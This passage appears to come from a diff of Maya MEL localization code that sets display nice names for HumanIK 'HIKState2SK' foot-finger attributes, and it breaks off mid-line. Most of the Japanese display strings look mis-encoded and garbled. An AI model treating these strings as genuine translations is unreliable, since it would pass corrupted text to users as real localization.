+setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbROrder", "ラスナエヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbSC", "ラスナエヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbIS", "ラスナエヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbISx", "ラスナエヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbISy", "ラスナエヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbISz", "ラスナエヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPreR", "ラスナエヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPreRx", "ラスナエヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPreRy", "ラスナエヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPreRz", "ラスナエヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPostR", "ラスナエヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPostRx", "ラスナエヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPostRy", "ラスナエヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootThumbPostRz", "ラスナエヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexT", "ラスナカヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexTx", "ラスナカヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexTy", "ラスナカヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexTz", "ラスナカヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexR", "ラスナカヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexRx", "ラスナカヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexRy", "ラスナカヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexRz", "ラスナカヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexS", "ラスナカヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexSx", "ラスナカヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexSy", "ラスナカヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexSz", "ラスナカヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPGX", "ラスナカヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexROrder", "ラスナカヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexSC", "ラスナカヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexIS", "ラスナカヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexISx", "ラスナカヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexISy", "ラスナカヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexISz", "ラスナカヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPreR", "ラスナカヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPreRx", "ラスナカヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPreRy", "ラスナカヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPreRz", "ラスナカヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPostR", "ラスナカヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPostRx", "ラスナカヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPostRy", "ラスナカヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootIndexPostRz", "ラスナカヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleT", "ラスナヨミヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleTx", "ラスナヨミヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleTy", "ラスナヨミヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleTz", "ラスナヨミヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleR", "ラスナヨミヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleRx", "ラスナヨミヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleRy", "ラスナヨミヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleRz", "ラスナヨミヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleS", "ラスナヨミヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleSx", "ラスナヨミヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleSy", "ラスナヨミヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleSz", "ラスナヨミヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePGX", "ラスナヨミヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleROrder", "ラスナヨミヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleSC", "ラスナヨミヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleIS", "ラスナヨミヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleISx", "ラスナヨミヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleISy", "ラスナヨミヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddleISz", "ラスナヨミヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePreR", "ラスナヨミヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePreRx", "ラスナヨミヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePreRy", "ラスナヨミヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePreRz", "ラスナヨミヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePostR", "ラスナヨミヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePostRx", "ラスナヨミヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePostRy", "ラスナヨミヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootMiddlePostRz", "ラスナヨミヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingT", "ラスナヒトヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingTx", "ラスナヒトヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingTy", "ラスナヒトヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingTz", "ラスナヒトヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingR", "ラスナヒトヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingRx", "ラスナヒトヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingRy", "ラスナヒトヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingRz", "ラスナヒトヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingS", "ラスナヒトヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingSx", "ラスナヒトヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingSy", "ラスナヒトヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingSz", "ラスナヒトヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPGX", "ラスナヒトヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingROrder", "ラスナヒトヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingSC", "ラスナヒトヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingIS", "ラスナヒトヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingISx", "ラスナヒトヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingISy", "ラスナヒトヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingISz", "ラスナヒトヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPreR", "ラスナヒトヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPreRx", "ラスナヒトヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPreRy", "ラスナヒトヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPreRz", "ラスナヒトヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPostR", "ラスナヒトヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPostRx", "ラスナヒトヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPostRy", "ラスナヒトヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootRingPostRz", "ラスナヒトヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyT", "ラスナミ。ヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyTx", "ラスナミ。ヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyTy", "ラスナミ。ヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyTz", "ラスナミ。ヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyR", "ラスナミ。ヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyRx", "ラスナミ。ヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyRy", "ラスナミ。ヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyRz", "ラスナミ。ヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyS", "ラスナミ。ヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkySx", "ラスナミ。ヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkySy", "ラスナミ。ヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkySz", "ラスナミ。ヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPGX", "ラスナミ。ヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyROrder", "ラスナミ。ヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkySC", "ラスナミ。ヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyIS", "ラスナミ。ヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyISx", "ラスナミ。ヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyISy", "ラスナミ。ヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyISz", "ラスナミ。ヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPreR", "ラスナミ。ヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPreRx", "ラスナミ。ヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPreRy", "ラスナミ。ヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPreRz", "ラスナミ。ヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPostR", "ラスナミ。ヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPostRx", "ラスナミ。ヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPostRy", "ラスナミ。ヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootPinkyPostRz", "ラスナミ。ヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerT", "ラスナチヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerTx", "ラスナチヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerTy", "ラスナチヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerTz", "ラスナチヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerR", "ラスナチヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerRx", "ラスナチヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerRy", "ラスナチヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerRz", "ラスナチヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerS", "ラスナチヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerSx", "ラスナチヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerSy", "ラスナチヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerSz", "ラスナチヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPGX", "ラスナチヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerROrder", "ラスナチヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerSC", "ラスナチヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerIS", "ラスナチヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerISx", "ラスナチヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerISy", "ラスナチヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerISz", "ラスナチヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPreR", "ラスナチヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPreRx", "ラスナチヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPreRy", "ラスナチヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPreRz", "ラスナチヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPostR", "ラスナチヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPostRx", "ラスナチヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPostRy", "ラスナチヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "LeftInFootExtraFingerPostRz", "ラスナチヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbT", "モメスナエヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbTx", "モメスナエヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbTy", "モメスナエヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbTz", "モメスナエヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbR", "モメスナエヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbRx", "モメスナエヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbRy", "モメスナエヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbRz", "モメスナエヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbS", "モメスナエヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbSx", "モメスナエヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbSy", "モメスナエヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbSz", "モメスナエヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPGX", "モメスナエヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbROrder", "モメスナエヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbSC", "モメスナエヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbIS", "モメスナエヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbISx", "モメスナエヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbISy", "モメスナエヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbISz", "モメスナエヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPreR", "モメスナエヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPreRx", "モメスナエヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPreRy", "モメスナエヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPreRz", "モメスナエヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPostR", "モメスナエヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPostRx", "モメスナエヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPostRy", "モメスナエヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootThumbPostRz", "モメスナエヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexT", "モメスナカヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexTx", "モメスナカヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexTy", "モメスナカヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexTz", "モメスナカヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexR", "モメスナカヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexRx", "モメスナカヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexRy", "モメスナカヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexRz", "モメスナカヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexS", "モメスナカヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexSx", "モメスナカヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexSy", "モメスナカヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexSz", "モメスナカヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPGX", "モメスナカヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexROrder", "モメスナカヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexSC", "モメスナカヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexIS", "モメスナカヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexISx", "モメスナカヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexISy", "モメスナカヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexISz", "モメスナカヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPreR", "モメスナカヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPreRx", "モメスナカヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPreRy", "モメスナカヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPreRz", "モメスナカヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPostR", "モメスナカヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPostRx", "モメスナカヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPostRy", "モメスナカヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootIndexPostRz", "モメスナカヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleT", "モメスナヨミヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleTx", "モメスナヨミヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleTy", "モメスナヨミヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleTz", "モメスナヨミヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleR", "モメスナヨミヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleRx", "モメスナヨミヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleRy", "モメスナヨミヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleRz", "モメスナヨミヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleS", "モメスナヨミヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleSx", "モメスナヨミヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleSy", "モメスナヨミヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleSz", "モメスナヨミヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePGX", "モメスナヨミヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleROrder", "モメスナヨミヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleSC", "モメスナヨミヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleIS", "モメスナヨミヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleISx", "モメスナヨミヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleISy", "モメスナヨミヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddleISz", "モメスナヨミヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePreR", "モメスナヨミヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePreRx", "モメスナヨミヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePreRy", "モメスナヨミヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePreRz", "モメスナヨミヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePostR", "モメスナヨミヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePostRx", "モメスナヨミヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePostRy", "モメスナヨミヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootMiddlePostRz", "モメスナヨミヨコトレイ獎ラェコz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingT", "モメスナヒトヨコトレイ猗スメニ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingTx", "モメスナヒトヨコトレイ猗スメニx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingTy", "モメスナヒトヨコトレイ猗スメニy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingTz", "モメスナヒトヨコトレイ猗スメニz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingR", "モメスナヒトヨコトレイ獎ラェ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingRx", "モメスナヒトヨコトレイ獎ラェx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingRy", "モメスナヒトヨコトレイ獎ラェy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingRz", "モメスナヒトヨコトレイ獎ラェz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingS", "モメスナヒトヨコトレイ猴キナ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingSx", "モメスナヒトヨコトレイ猴キナx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingSy", "モメスナヒトヨコトレイ猴キナy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingSz", "モメスナヒトヨコトレイ猴キナz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPGX", "モメスナヒトヨコトレイ PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingROrder", "モメスナヒトヨコトレイ獎ラェヒウミ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingSC", "モメスナヒトヨコトレイ SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingIS", "モメスナヒトヨコトレイ IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingISx", "モメスナヒトヨコトレイ ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingISy", "モメスナヒトヨコトレイ ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingISz", "モメスナヒトヨコトレイ ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPreR", "モメスナヒトヨコトレイ獎ラェヌー" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPreRx", "モメスナヒトヨコトレイ獎ラェヌーx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPreRy", "モメスナヒトヨコトレイ獎ラェヌーy" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPreRz", "モメスナヒトヨコトレイ獎ラェヌーz" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPostR", "モメスナヒトヨコトレイ獎ラェコ" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPostRx", "モメスナヒトヨコトレイ獎ラェコx" ); +setAttrNiceNameResource( "HIKState2SK", "RightInFootRingPostRy", "モメスナヒトヨコトレイ獎ラェコy" ); +setAttrNiceNameResource( "HIKState2SK", 